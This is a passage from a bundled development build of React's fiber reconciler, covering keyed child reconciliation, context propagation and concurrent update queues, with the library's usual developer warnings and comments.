      // Update the fiber if the keys match, otherwise return null.
      var key = oldFiber !== null ? oldFiber.key : null;

      if (typeof newChild === 'string' && newChild !== '' || typeof newChild === 'number') {
        // Text nodes don't have keys. If the previous node is implicitly keyed
        // we can continue to replace it without aborting even if it is not a text
        // node.
        if (key !== null) {
          return null;
        }

        return updateTextNode(returnFiber, oldFiber, '' + newChild, lanes);
      }

      if (typeof newChild === 'object' && newChild !== null) {
        switch (newChild.$$typeof) {
          case REACT_ELEMENT_TYPE:
            {
              if (newChild.key === key) {
                return updateElement(returnFiber, oldFiber, newChild, lanes);
              } else {
                return null;
              }
            }

          case REACT_PORTAL_TYPE:
            {
              if (newChild.key === key) {
                return updatePortal(returnFiber, oldFiber, newChild, lanes);
              } else {
                return null;
              }
            }

          case REACT_LAZY_TYPE:
            {
              var payload = newChild._payload;
              var init = newChild._init;
              return updateSlot(returnFiber, oldFiber, init(payload), lanes);
            }
        }

        if (isArray(newChild) || getIteratorFn(newChild)) {
          if (key !== null) {
            return null;
          }

          return updateFragment(returnFiber, oldFiber, newChild, lanes, null);
        }

        throwOnInvalidObjectType(returnFiber, newChild);
      }

      {
        if (typeof newChild === 'function') {
          warnOnFunctionType(returnFiber);
        }
      }

      return null;
    }

    function updateFromMap(existingChildren, returnFiber, newIdx, newChild, lanes) {
      if (typeof newChild === 'string' && newChild !== '' || typeof newChild === 'number') {
        // Text nodes don't have keys, so we neither have to check the old nor
        // new node for the key. If both are text nodes, they match.
        var matchedFiber = existingChildren.get(newIdx) || null;
        return updateTextNode(returnFiber, matchedFiber, '' + newChild, lanes);
      }

      if (typeof newChild === 'object' && newChild !== null) {
        switch (newChild.$$typeof) {
          case REACT_ELEMENT_TYPE:
            {
              var _matchedFiber = existingChildren.get(newChild.key === null ? newIdx : newChild.key) || null;

              return updateElement(returnFiber, _matchedFiber, newChild, lanes);
            }

          case REACT_PORTAL_TYPE:
            {
              var _matchedFiber2 = existingChildren.get(newChild.key === null ? newIdx : newChild.key) || null;

              return updatePortal(returnFiber, _matchedFiber2, newChild, lanes);
            }

          case REACT_LAZY_TYPE:
            var payload = newChild._payload;
            var init = newChild._init;
            return updateFromMap(existingChildren, returnFiber, newIdx, init(payload), lanes);
        }

        if (isArray(newChild) || getIteratorFn(newChild)) {
          var _matchedFiber3 = existingChildren.get(newIdx) || null;

          return updateFragment(returnFiber, _matchedFiber3, newChild, lanes, null);
        }

        throwOnInvalidObjectType(returnFiber, newChild);
      }

      {
        if (typeof newChild === 'function') {
          warnOnFunctionType(returnFiber);
        }
      }

      return null;
    }
    /**
     * Warns if there is a duplicate or missing key
     */


    function warnOnInvalidKey(child, knownKeys, returnFiber) {
      {
        if (typeof child !== 'object' || child === null) {
          return knownKeys;
        }

        switch (child.$$typeof) {
          case REACT_ELEMENT_TYPE:
          case REACT_PORTAL_TYPE:
            warnForMissingKey(child, returnFiber);
            var key = child.key;

            if (typeof key !== 'string') {
              break;
            }

            if (knownKeys === null) {
              knownKeys = new Set();
              knownKeys.add(key);
              break;
            }

            if (!knownKeys.has(key)) {
              knownKeys.add(key);
              break;
            }

            error('Encountered two children with the same key, `%s`. ' + 'Keys should be unique so that components maintain their identity ' + 'across updates. Non-unique keys may cause children to be ' + 'duplicated and/or omitted — the behavior is unsupported and ' + 'could change in a future version.', key);

            break;

          case REACT_LAZY_TYPE:
            var payload = child._payload;
            var init = child._init;
            warnOnInvalidKey(init(payload), knownKeys, returnFiber);
            break;
        }
      }

      return knownKeys;
    }

    function reconcileChildrenArray(returnFiber, currentFirstChild, newChildren, lanes) {
      // This algorithm can't optimize by searching from both ends since we
      // don't have backpointers on fibers. I'm trying to see how far we can get
      // with that model. If it ends up not being worth the tradeoffs, we can
      // add it later.
      // Even with a two ended optimization, we'd want to optimize for the case
      // where there are few changes and brute force the comparison instead of
      // going for the Map. It'd like to explore hitting that path first in
      // forward-only mode and only go for the Map once we notice that we need
      // lots of look ahead. This doesn't handle reversal as well as two ended
      // search but that's unusual. Besides, for the two ended optimization to
      // work on Iterables, we'd need to copy the whole set.
      // In this first iteration, we'll just live with hitting the bad case
      // (adding everything to a Map) in for every insert/move.
      // If you change this code, also update reconcileChildrenIterator() which
      // uses the same algorithm.
      {
        // First, validate keys.
        var knownKeys = null;

        for (var i = 0; i < newChildren.length; i++) {
          var child = newChildren[i];
          knownKeys = warnOnInvalidKey(child, knownKeys, returnFiber);
        }
      }

      var resultingFirstChild = null;
      var previousNewFiber = null;
      var oldFiber = currentFirstChild;
      var lastPlacedIndex = 0;
      var newIdx = 0;
      var nextOldFiber = null;

      for (; oldFiber !== null && newIdx < newChildren.length; newIdx++) {
        if (oldFiber.index > newIdx) {
          nextOldFiber = oldFiber;
          oldFiber = null;
        } else {
          nextOldFiber = oldFiber.sibling;
        }

        var newFiber = updateSlot(returnFiber, oldFiber, newChildren[newIdx], lanes);

        if (newFiber === null) {
          // TODO: This breaks on empty slots like null children. That's
          // unfortunate because it triggers the slow path all the time. We need
          // a better way to communicate whether this was a miss or null,
          // boolean, undefined, etc.
          if (oldFiber === null) {
            oldFiber = nextOldFiber;
          }

          break;
        }

        if (shouldTrackSideEffects) {
          if (oldFiber && newFiber.alternate === null) {
            // We matched the slot, but we didn't reuse the existing fiber, so we
            // need to delete the existing child.
            deleteChild(returnFiber, oldFiber);
          }
        }

        lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);

        if (previousNewFiber === null) {
          // TODO: Move out of the loop. This only happens for the first run.
          resultingFirstChild = newFiber;
        } else {
          // TODO: Defer siblings if we're not at the right index for this slot.
          // I.e. if we had null values before, then we want to defer this
          // for each null value. However, we also don't want to call updateSlot
          // with the previous one.
          previousNewFiber.sibling = newFiber;
        }

        previousNewFiber = newFiber;
        oldFiber = nextOldFiber;
      }

      if (newIdx === newChildren.length) {
        // We've reached the end of the new children. We can delete the rest.
        deleteRemainingChildren(returnFiber, oldFiber);

        if (getIsHydrating()) {
          var numberOfForks = newIdx;
          pushTreeFork(returnFiber, numberOfForks);
        }

        return resultingFirstChild;
      }

      if (oldFiber === null) {
        // If we don't have any more existing children we can choose a fast path
        // since the rest will all be insertions.
        for (; newIdx < newChildren.length; newIdx++) {
          var _newFiber = createChild(returnFiber, newChildren[newIdx], lanes);

          if (_newFiber === null) {
            continue;
          }

          lastPlacedIndex = placeChild(_newFiber, lastPlacedIndex, newIdx);

          if (previousNewFiber === null) {
            // TODO: Move out of the loop. This only happens for the first run.
            resultingFirstChild = _newFiber;
          } else {
            previousNewFiber.sibling = _newFiber;
          }

          previousNewFiber = _newFiber;
        }

        if (getIsHydrating()) {
          var _numberOfForks = newIdx;
          pushTreeFork(returnFiber, _numberOfForks);
        }

        return resultingFirstChild;
      } // Add all children to a key map for quick lookups.


      var existingChildren = mapRemainingChildren(returnFiber, oldFiber); // Keep scanning and use the map to restore deleted items as moves.

      for (; newIdx < newChildren.length; newIdx++) {
        var _newFiber2 = updateFromMap(existingChildren, returnFiber, newIdx, newChildren[newIdx], lanes);

        if (_newFiber2 !== null) {
          if (shouldTrackSideEffects) {
            if (_newFiber2.alternate !== null) {
              // The new fiber is a work in progress, but if there exists a
              // current, that means that we reused the fiber. We need to delete
              // it from the child list so that we don't add it to the deletion
              // list.
              existingChildren.delete(_newFiber2.key === null ? newIdx : _newFiber2.key);
            }
          }

          lastPlacedIndex = placeChild(_newFiber2, lastPlacedIndex, newIdx);

          if (previousNewFiber === null) {
            resultingFirstChild = _newFiber2;
          } else {
            previousNewFiber.sibling = _newFiber2;
          }

          previousNewFiber = _newFiber2;
        }
      }

      if (shouldTrackSideEffects) {
        // Any existing children that weren't consumed above were deleted. We need
        // to add them to the deletion list.
        existingChildren.forEach(function (child) {
          return deleteChild(returnFiber, child);
        });
      }

      if (getIsHydrating()) {
        var _numberOfForks2 = newIdx;
        pushTreeFork(returnFiber, _numberOfForks2);
      }

      return resultingFirstChild;
    }

    function reconcileChildrenIterator(returnFiber, currentFirstChild, newChildrenIterable, lanes) {
      // This is the same implementation as reconcileChildrenArray(),
      // but using the iterator instead.
      var iteratorFn = getIteratorFn(newChildrenIterable);

      if (typeof iteratorFn !== 'function') {
        throw new Error('An object is not an iterable. This error is likely caused by a bug in ' + 'React. Please file an issue.');
      }

      {
        // We don't support rendering Generators because it's a mutation.
        // See https://github.com/facebook/react/issues/12995
        if (typeof Symbol === 'function' && // $FlowFixMe Flow doesn't know about toStringTag
        newChildrenIterable[Symbol.toStringTag] === 'Generator') {
          if (!didWarnAboutGenerators) {
            error('Using Generators as children is unsupported and will likely yield ' + 'unexpected results because enumerating a generator mutates it. ' + 'You may convert it to an array with `Array.from()` or the ' + '`[...spread]` operator before rendering. Keep in mind ' + 'you might need to polyfill these features for older browsers.');
          }

          didWarnAboutGenerators = true;
        } // Warn about using Maps as children


        if (newChildrenIterable.entries === iteratorFn) {
          if (!didWarnAboutMaps) {
            error('Using Maps as children is not supported. ' + 'Use an array of keyed ReactElements instead.');
          }

          didWarnAboutMaps = true;
        } // First, validate keys.
        // We'll get a different iterator later for the main pass.


        var _newChildren = iteratorFn.call(newChildrenIterable);

        if (_newChildren) {
          var knownKeys = null;

          var _step = _newChildren.next();

          for (; !_step.done; _step = _newChildren.next()) {
            var child = _step.value;
            knownKeys = warnOnInvalidKey(child, knownKeys, returnFiber);
          }
        }
      }

      var newChildren = iteratorFn.call(newChildrenIterable);

      if (newChildren == null) {
        throw new Error('An iterable object provided no iterator.');
      }

      var resultingFirstChild = null;
      var previousNewFiber = null;
      var oldFiber = currentFirstChild;
      var lastPlacedIndex = 0;
      var newIdx = 0;
      var nextOldFiber = null;
      var step = newChildren.next();

      for (; oldFiber !== null && !step.done; newIdx++, step = newChildren.next()) {
        if (oldFiber.index > newIdx) {
          nextOldFiber = oldFiber;
          oldFiber = null;
        } else {
          nextOldFiber = oldFiber.sibling;
        }

        var newFiber = updateSlot(returnFiber, oldFiber, step.value, lanes);

        if (newFiber === null) {
          // TODO: This breaks on empty slots like null children. That's
          // unfortunate because it triggers the slow path all the time. We need
          // a better way to communicate whether this was a miss or null,
          // boolean, undefined, etc.
          if (oldFiber === null) {
            oldFiber = nextOldFiber;
          }

          break;
        }

        if (shouldTrackSideEffects) {
          if (oldFiber && newFiber.alternate === null) {
            // We matched the slot, but we didn't reuse the existing fiber, so we
            // need to delete the existing child.
            deleteChild(returnFiber, oldFiber);
          }
        }

        lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);

        if (previousNewFiber === null) {
          // TODO: Move out of the loop. This only happens for the first run.
          resultingFirstChild = newFiber;
        } else {
          // TODO: Defer siblings if we're not at the right index for this slot.
          // I.e. if we had null values before, then we want to defer this
          // for each null value. However, we also don't want to call updateSlot
          // with the previous one.
          previousNewFiber.sibling = newFiber;
        }

        previousNewFiber = newFiber;
        oldFiber = nextOldFiber;
      }

      if (step.done) {
        // We've reached the end of the new children. We can delete the rest.
        deleteRemainingChildren(returnFiber, oldFiber);

        if (getIsHydrating()) {
          var numberOfForks = newIdx;
          pushTreeFork(returnFiber, numberOfForks);
        }

        return resultingFirstChild;
      }

      if (oldFiber === null) {
        // If we don't have any more existing children we can choose a fast path
        // since the rest will all be insertions.
        for (; !step.done; newIdx++, step = newChildren.next()) {
          var _newFiber3 = createChild(returnFiber, step.value, lanes);

          if (_newFiber3 === null) {
            continue;
          }

          lastPlacedIndex = placeChild(_newFiber3, lastPlacedIndex, newIdx);

          if (previousNewFiber === null) {
            // TODO: Move out of the loop. This only happens for the first run.
            resultingFirstChild = _newFiber3;
          } else {
            previousNewFiber.sibling = _newFiber3;
          }

          previousNewFiber = _newFiber3;
        }

        if (getIsHydrating()) {
          var _numberOfForks3 = newIdx;
          pushTreeFork(returnFiber, _numberOfForks3);
        }

        return resultingFirstChild;
      } // Add all children to a key map for quick lookups.


      var existingChildren = mapRemainingChildren(returnFiber, oldFiber); // Keep scanning and use the map to restore deleted items as moves.

      for (; !step.done; newIdx++, step = newChildren.next()) {
        var _newFiber4 = updateFromMap(existingChildren, returnFiber, newIdx, step.value, lanes);

        if (_newFiber4 !== null) {
          if (shouldTrackSideEffects) {
            if (_newFiber4.alternate !== null) {
              // The new fiber is a work in progress, but if there exists a
              // current, that means that we reused the fiber. We need to delete
              // it from the child list so that we don't add it to the deletion
              // list.
              existingChildren.delete(_newFiber4.key === null ? newIdx : _newFiber4.key);
            }
          }

          lastPlacedIndex = placeChild(_newFiber4, lastPlacedIndex, newIdx);

          if (previousNewFiber === null) {
            resultingFirstChild = _newFiber4;
          } else {
            previousNewFiber.sibling = _newFiber4;
          }

          previousNewFiber = _newFiber4;
        }
      }

      if (shouldTrackSideEffects) {
        // Any existing children that weren't consumed above were deleted. We need
        // to add them to the deletion list.
        existingChildren.forEach(function (child) {
          return deleteChild(returnFiber, child);
        });
      }

      if (getIsHydrating()) {
        var _numberOfForks4 = newIdx;
        pushTreeFork(returnFiber, _numberOfForks4);
      }

      return resultingFirstChild;
    }

    function reconcileSingleTextNode(returnFiber, currentFirstChild, textContent, lanes) {
      // There's no need to check for keys on text nodes since we don't have a
      // way to define them.
      if (currentFirstChild !== null && currentFirstChild.tag === HostText) {
        // We already have an existing node so let's just update it and delete
        // the rest.
        deleteRemainingChildren(returnFiber, currentFirstChild.sibling);
        var existing = useFiber(currentFirstChild, textContent);
        existing.return = returnFiber;
        return existing;
      } // The existing first child is not a text node so we need to create one
      // and delete the existing ones.


      deleteRemainingChildren(returnFiber, currentFirstChild);
      var created = createFiberFromText(textContent, returnFiber.mode, lanes);
      created.return = returnFiber;
      return created;
    }

    function reconcileSingleElement(returnFiber, currentFirstChild, element, lanes) {
      var key = element.key;
      var child = currentFirstChild;

      while (child !== null) {
        // TODO: If key === null and child.key === null, then this only applies to
        // the first item in the list.
        if (child.key === key) {
          var elementType = element.type;

          if (elementType === REACT_FRAGMENT_TYPE) {
            if (child.tag === Fragment) {
              deleteRemainingChildren(returnFiber, child.sibling);
              var existing = useFiber(child, element.props.children);
              existing.return = returnFiber;

              {
                existing._debugSource = element._source;
                existing._debugOwner = element._owner;
              }

              return existing;
            }
          } else {
            if (child.elementType === elementType || ( // Keep this check inline so it only runs on the false path:
             isCompatibleFamilyForHotReloading(child, element) ) || // Lazy types should reconcile their resolved type.
            // We need to do this after the Hot Reloading check above,
            // because hot reloading has different semantics than prod because
            // it doesn't resuspend. So we can't let the call below suspend.
            typeof elementType === 'object' && elementType !== null && elementType.$$typeof === REACT_LAZY_TYPE && resolveLazy(elementType) === child.type) {
              deleteRemainingChildren(returnFiber, child.sibling);

              var _existing = useFiber(child, element.props);

              _existing.ref = coerceRef(returnFiber, child, element);
              _existing.return = returnFiber;

              {
                _existing._debugSource = element._source;
                _existing._debugOwner = element._owner;
              }

              return _existing;
            }
          } // Didn't match.


          deleteRemainingChildren(returnFiber, child);
          break;
        } else {
          deleteChild(returnFiber, child);
        }

        child = child.sibling;
      }

      if (element.type === REACT_FRAGMENT_TYPE) {
        var created = createFiberFromFragment(element.props.children, returnFiber.mode, lanes, element.key);
        created.return = returnFiber;
        return created;
      } else {
        var _created4 = createFiberFromElement(element, returnFiber.mode, lanes);

        _created4.ref = coerceRef(returnFiber, currentFirstChild, element);
        _created4.return = returnFiber;
        return _created4;
      }
    }

    function reconcileSinglePortal(returnFiber, currentFirstChild, portal, lanes) {
      var key = portal.key;
      var child = currentFirstChild;

      while (child !== null) {
        // TODO: If key === null and child.key === null, then this only applies to
        // the first item in the list.
        if (child.key === key) {
          if (child.tag === HostPortal && child.stateNode.containerInfo === portal.containerInfo && child.stateNode.implementation === portal.implementation) {
            deleteRemainingChildren(returnFiber, child.sibling);
            var existing = useFiber(child, portal.children || []);
            existing.return = returnFiber;
            return existing;
          } else {
            deleteRemainingChildren(returnFiber, child);
            break;
          }
        } else {
          deleteChild(returnFiber, child);
        }

        child = child.sibling;
      }

      var created = createFiberFromPortal(portal, returnFiber.mode, lanes);
      created.return = returnFiber;
      return created;
    } // This API will tag the children with the side-effect of the reconciliation
    // itself. They will be added to the side-effect list as we pass through the
    // children and the parent.


    function reconcileChildFibers(returnFiber, currentFirstChild, newChild, lanes) {
      // This function is not recursive.
      // If the top level item is an array, we treat it as a set of children,
      // not as a fragment. Nested arrays on the other hand will be treated as
      // fragment nodes. Recursion happens at the normal flow.
      // Handle top level unkeyed fragments as if they were arrays.
      // This leads to an ambiguity between <>{[...]}</> and <>...</>.
      // We treat the ambiguous cases above the same.
      var isUnkeyedTopLevelFragment = typeof newChild === 'object' && newChild !== null && newChild.type === REACT_FRAGMENT_TYPE && newChild.key === null;

      if (isUnkeyedTopLevelFragment) {
        newChild = newChild.props.children;
      } // Handle object types


      if (typeof newChild === 'object' && newChild !== null) {
        switch (newChild.$$typeof) {
          case REACT_ELEMENT_TYPE:
            return placeSingleChild(reconcileSingleElement(returnFiber, currentFirstChild, newChild, lanes));

          case REACT_PORTAL_TYPE:
            return placeSingleChild(reconcileSinglePortal(returnFiber, currentFirstChild, newChild, lanes));

          case REACT_LAZY_TYPE:
            var payload = newChild._payload;
            var init = newChild._init; // TODO: This function is supposed to be non-recursive.

            return reconcileChildFibers(returnFiber, currentFirstChild, init(payload), lanes);
        }

        if (isArray(newChild)) {
          return reconcileChildrenArray(returnFiber, currentFirstChild, newChild, lanes);
        }

        if (getIteratorFn(newChild)) {
          return reconcileChildrenIterator(returnFiber, currentFirstChild, newChild, lanes);
        }

        throwOnInvalidObjectType(returnFiber, newChild);
      }

      if (typeof newChild === 'string' && newChild !== '' || typeof newChild === 'number') {
        return placeSingleChild(reconcileSingleTextNode(returnFiber, currentFirstChild, '' + newChild, lanes));
      }

      {
        if (typeof newChild === 'function') {
          warnOnFunctionType(returnFiber);
        }
      } // Remaining cases are all treated as empty.


      return deleteRemainingChildren(returnFiber, currentFirstChild);
    }

    return reconcileChildFibers;
  }

  var reconcileChildFibers = ChildReconciler(true);
  var mountChildFibers = ChildReconciler(false);
  function cloneChildFibers(current, workInProgress) {
    if (current !== null && workInProgress.child !== current.child) {
      throw new Error('Resuming work not yet implemented.');
    }

    if (workInProgress.child === null) {
      return;
    }

    var currentChild = workInProgress.child;
    var newChild = createWorkInProgress(currentChild, currentChild.pendingProps);
    workInProgress.child = newChild;
    newChild.return = workInProgress;

    while (currentChild.sibling !== null) {
      currentChild = currentChild.sibling;
      newChild = newChild.sibling = createWorkInProgress(currentChild, currentChild.pendingProps);
      newChild.return = workInProgress;
    }

    newChild.sibling = null;
  } // Reset a workInProgress child set to prepare it for a second pass.

  function resetChildFibers(workInProgress, lanes) {
    var child = workInProgress.child;

    while (child !== null) {
      resetWorkInProgress(child, lanes);
      child = child.sibling;
    }
  }

  var valueCursor = createCursor(null);
  var rendererSigil;

  {
    // Use this to detect multiple renderers using the same context
    rendererSigil = {};
  }

  var currentlyRenderingFiber = null;
  var lastContextDependency = null;
  var lastFullyObservedContext = null;
  var isDisallowedContextReadInDEV = false;
  function resetContextDependencies() {
    // This is called right before React yields execution, to ensure `readContext`
    // cannot be called outside the render phase.
    currentlyRenderingFiber = null;
    lastContextDependency = null;
    lastFullyObservedContext = null;

    {
      isDisallowedContextReadInDEV = false;
    }
  }
  function enterDisallowedContextReadInDEV() {
    {
      isDisallowedContextReadInDEV = true;
    }
  }
  function exitDisallowedContextReadInDEV() {
    {
      isDisallowedContextReadInDEV = false;
    }
  }
  function pushProvider(providerFiber, context, nextValue) {
    {
      push(valueCursor, context._currentValue, providerFiber);
      context._currentValue = nextValue;

      {
        if (context._currentRenderer !== undefined && context._currentRenderer !== null && context._currentRenderer !== rendererSigil) {
          error('Detected multiple renderers concurrently rendering the ' + 'same context provider. This is currently unsupported.');
        }

        context._currentRenderer = rendererSigil;
      }
    }
  }
  function popProvider(context, providerFiber) {
    var currentValue = valueCursor.current;
    pop(valueCursor, providerFiber);

    {
      {
        context._currentValue = currentValue;
      }
    }
  }
  function scheduleContextWorkOnParentPath(parent, renderLanes, propagationRoot) {
    // Update the child lanes of all the ancestors, including the alternates.
    var node = parent;

    while (node !== null) {
      var alternate = node.alternate;

      if (!isSubsetOfLanes(node.childLanes, renderLanes)) {
        node.childLanes = mergeLanes(node.childLanes, renderLanes);

        if (alternate !== null) {
          alternate.childLanes = mergeLanes(alternate.childLanes, renderLanes);
        }
      } else if (alternate !== null && !isSubsetOfLanes(alternate.childLanes, renderLanes)) {
        alternate.childLanes = mergeLanes(alternate.childLanes, renderLanes);
      }

      if (node === propagationRoot) {
        break;
      }

      node = node.return;
    }

    {
      if (node !== propagationRoot) {
        error('Expected to find the propagation root when scheduling context work. ' + 'This error is likely caused by a bug in React. Please file an issue.');
      }
    }
  }
  function propagateContextChange(workInProgress, context, renderLanes) {
    {
      propagateContextChange_eager(workInProgress, context, renderLanes);
    }
  }

  function propagateContextChange_eager(workInProgress, context, renderLanes) {

    var fiber = workInProgress.child;

    if (fiber !== null) {
      // Set the return pointer of the child to the work-in-progress fiber.
      fiber.return = workInProgress;
    }

    while (fiber !== null) {
      var nextFiber = void 0; // Visit this fiber.

      var list = fiber.dependencies;

      if (list !== null) {
        nextFiber = fiber.child;
        var dependency = list.firstContext;

        while (dependency !== null) {
          // Check if the context matches.
          if (dependency.context === context) {
            // Match! Schedule an update on this fiber.
            if (fiber.tag === ClassComponent) {
              // Schedule a force update on the work-in-progress.
              var lane = pickArbitraryLane(renderLanes);
              var update = createUpdate(NoTimestamp, lane);
              update.tag = ForceUpdate; // TODO: Because we don't have a work-in-progress, this will add the
              // update to the current fiber, too, which means it will persist even if
              // this render is thrown away. Since it's a race condition, not sure it's
              // worth fixing.
              // Inlined `enqueueUpdate` to remove interleaved update check

              var updateQueue = fiber.updateQueue;

              if (updateQueue === null) ; else {
                var sharedQueue = updateQueue.shared;
                var pending = sharedQueue.pending;

                if (pending === null) {
                  // This is the first update. Create a circular list.
                  update.next = update;
                } else {
                  update.next = pending.next;
                  pending.next = update;
                }

                sharedQueue.pending = update;
              }
            }

            fiber.lanes = mergeLanes(fiber.lanes, renderLanes);
            var alternate = fiber.alternate;

            if (alternate !== null) {
              alternate.lanes = mergeLanes(alternate.lanes, renderLanes);
            }

            scheduleContextWorkOnParentPath(fiber.return, renderLanes, workInProgress); // Mark the updated lanes on the list, too.

            list.lanes = mergeLanes(list.lanes, renderLanes); // Since we already found a match, we can stop traversing the
            // dependency list.

            break;
          }

          dependency = dependency.next;
        }
      } else if (fiber.tag === ContextProvider) {
        // Don't scan deeper if this is a matching provider
        nextFiber = fiber.type === workInProgress.type ? null : fiber.child;
      } else if (fiber.tag === DehydratedFragment) {
        // If a dehydrated suspense boundary is in this subtree, we don't know
        // if it will have any context consumers in it. The best we can do is
        // mark it as having updates.
        var parentSuspense = fiber.return;

        if (parentSuspense === null) {
          throw new Error('We just came from a parent so we must have had a parent. This is a bug in React.');
        }

        parentSuspense.lanes = mergeLanes(parentSuspense.lanes, renderLanes);
        var _alternate = parentSuspense.alternate;

        if (_alternate !== null) {
          _alternate.lanes = mergeLanes(_alternate.lanes, renderLanes);
        } // This is intentionally passing this fiber as the parent
        // because we want to schedule this fiber as having work
        // on its children. We'll use the childLanes on
        // this fiber to indicate that a context has changed.


        scheduleContextWorkOnParentPath(parentSuspense, renderLanes, workInProgress);
        nextFiber = fiber.sibling;
      } else {
        // Traverse down.
        nextFiber = fiber.child;
      }

      if (nextFiber !== null) {
        // Set the return pointer of the child to the work-in-progress fiber.
        nextFiber.return = fiber;
      } else {
        // No child. Traverse to next sibling.
        nextFiber = fiber;

        while (nextFiber !== null) {
          if (nextFiber === workInProgress) {
            // We're back to the root of this subtree. Exit.
            nextFiber = null;
            break;
          }

          var sibling = nextFiber.sibling;

          if (sibling !== null) {
            // Set the return pointer of the sibling to the work-in-progress fiber.
            sibling.return = nextFiber.return;
            nextFiber = sibling;
            break;
          } // No more siblings. Traverse up.


          nextFiber = nextFiber.return;
        }
      }

      fiber = nextFiber;
    }
  }
  function prepareToReadContext(workInProgress, renderLanes) {
    currentlyRenderingFiber = workInProgress;
    lastContextDependency = null;
    lastFullyObservedContext = null;
    var dependencies = workInProgress.dependencies;

    if (dependencies !== null) {
      {
        var firstContext = dependencies.firstContext;

        if (firstContext !== null) {
          if (includesSomeLane(dependencies.lanes, renderLanes)) {
            // Context list has a pending update. Mark that this fiber performed work.
            markWorkInProgressReceivedUpdate();
          } // Reset the work-in-progress list


          dependencies.firstContext = null;
        }
      }
    }
  }
  function readContext(context) {
    {
      // This warning would fire if you read context inside a Hook like useMemo.
      // Unlike the class check below, it's not enforced in production for perf.
      if (isDisallowedContextReadInDEV) {
        error('Context can only be read while React is rendering. ' + 'In classes, you can read it in the render method or getDerivedStateFromProps. ' + 'In function components, you can read it directly in the function body, but not ' + 'inside Hooks like useReducer() or useMemo().');
      }
    }

    var value =  context._currentValue ;

    if (lastFullyObservedContext === context) ; else {
      var contextItem = {
        context: context,
        memoizedValue: value,
        next: null
      };

      if (lastContextDependency === null) {
        if (currentlyRenderingFiber === null) {
          throw new Error('Context can only be read while React is rendering. ' + 'In classes, you can read it in the render method or getDerivedStateFromProps. ' + 'In function components, you can read it directly in the function body, but not ' + 'inside Hooks like useReducer() or useMemo().');
        } // This is the first dependency for this component. Create a new list.


        lastContextDependency = contextItem;
        currentlyRenderingFiber.dependencies = {
          lanes: NoLanes,
          firstContext: contextItem
        };
      } else {
        // Append a new context item.
        lastContextDependency = lastContextDependency.next = contextItem;
      }
    }

    return value;
  }

  // render. When this render exits, either because it finishes or because it is
  // interrupted, the interleaved updates will be transferred onto the main part
  // of the queue.

  var concurrentQueues = null;
  function pushConcurrentUpdateQueue(queue) {
    if (concurrentQueues === null) {
      concurrentQueues = [queue];
    } else {
      concurrentQueues.push(queue);
    }
  }
  function finishQueueingConcurrentUpdates() {
    // Transfer the interleaved updates onto the main queue. Each queue has a
    // `pending` field and an `interleaved` field. When they are not null, they
    // point to the last node in a circular linked list. We need to append the
    // interleaved list to the end of the pending list by joining them into a
    // single, circular list.
    if (concurrentQueues !== null) {
      for (var i = 0; i < concurrentQueues.length; i++) {
        var queue = concurrentQueues[i];
        var lastInterleavedUpdate = queue.interleaved;

        if (lastInterleavedUpdate !== null) {
          queue.interleaved = null;
          var firstInterleavedUpdate = lastInterleavedUpdate.next;
          var lastPendingUpdate = queue.pending;

          if (lastPendingUpdate !== null) {
            var firstPendingUpdate = lastPendingUpdate.next;
            lastPendingUpdate.next = firstInterleavedUpdate;
            lastInterleavedUpdate.next = firstPendingUpdate;
          }

          queue.pending = lastInterleavedUpdate;
        }
      }

      concurrentQueues = null;
    }
  }
  function enqueueConcurrentHookUpdate(fiber, queue, update, lane) {
    var interleaved = queue.interleaved;

    if (interleaved === null) {
      // This is the first update. Create a circular list.
      update.next = update; // At the end of the current render, this queue's interleaved updates will
      // be transferred to the pending queue.

      pushConcurrentUpdateQueue(queue);
    } else {
      update.next = interleaved.next;
      interleaved.next = update;
    }

    queue.interleaved = update;
    return markUpdateLaneFromFiberToRoot(fiber, lane);
  }
  function enqueueConcurrentHookUpdateAndEagerlyBailout(fiber, queue, update, lane) {
    var interleaved = queue.interleaved;

    if (interleaved === null) {
      // This is the first update. Create a circular list.
      update.next = update; // At the end of the current render, this queue's interleaved updates will
      // be transferred to the pending queue.

      pushConcurrentUpdateQueue(queue);
    } else {
      update.next = interleaved.next;
      interleaved.next = update;
    }

    queue.interleaved = update;
  }
  function enqueueConcurrentClassUpdate(fiber, queue, update, lane) {
    var interleaved = queue.interleaved;

    if (interleaved === null) {
      // This is the first update. Create a circular list.
      update.next = update; // At the end of the current render, this queue's interleaved updates will
      // be transferred to the pending queue.

      pushConcurrentUpdateQueue(queue);
    } else {
      update.next = interleaved.next;
      interleaved.next = update;
    }

    queue.interleaved = update;
    return markUpdateLaneFromFiberToRoot(fiber, lane);
  }
  function enqueueConcurrentRenderForLane(fiber, lane) {
    return markUpdateLaneFromFiberToRoot(fiber, lane);
  } // Calling this function outside this module should only be done for backwards
  // compatibility and should always be accompanied by a warning.

  var unsafe_markUpdateLaneFromFiberToRoot = markUpdateLaneFromFiberToRoot;

  function markUpdateLaneFromFiberToRoot(sourceFiber, lane) {
    // Update the source fiber's lanes
    sourceFiber.lanes = mergeLanes(sourceFiber.lanes, lane);
    var alternate = sourceFiber.alternate;

    if (alternate !== null) {
      alternate.lanes = mergeLanes(alternate.lanes, lane);
    }

    {
      if (alternate === null && (sourceFiber.flags & (Placement | Hydrating)) !== NoFlags) {
        warnAboutUpdateOnNotYetMountedFiberInDEV(sourceFiber);
      }
    } // Walk the parent path to the root and update the child lanes.


    var node = sourceFiber;
    var parent = sourceFiber.return;

    while (parent !== null) {
      parent.childLanes = mergeLanes(parent.childLanes, lane);
      alternate = parent.alternate;

      if (alternate !== null) {
        alternate.childLanes = mergeLanes(alternate.childLanes, lane);
      } else {
        {
          if ((parent.flags & (Placement | Hydrating)) !== NoFlags) {
            warnAboutUpdateOnNotYetMountedFiberInDEV(sourceFiber);
          }
        }
      }

      node = parent;
      parent = parent.return;
    }

    if (node.tag === HostRoot) {
      var root = node.stateNode;
      return root;
    } else {
      return null;
    }
  }

  var UpdateState = 0;
  var ReplaceState = 1;
  var ForceUpdate = 2;
  var CaptureUpdate = 3; // Global state that is reset at the beginning of calling `processUpdateQueue`.
  // It should only be read right after calling `processUpdateQueue`, via
  // `checkHasForceUpdateAfterProcessing`.

  var hasForceUpdate = false;
  var didWarnUpdateInsideUpdate;
  var currentlyProcessingQueue;

  {
    didWarnUpdateInsideUpdate = false;
    currentlyProcessingQueue = null;
  }

  function initializeUpdateQueue(fiber) {
    var queue = {
      baseState: fiber.memoizedState,
      firstBaseUpdate: null,
      lastBaseUpdate: null,
      shared: {
        pending: null,
        interleaved: null,
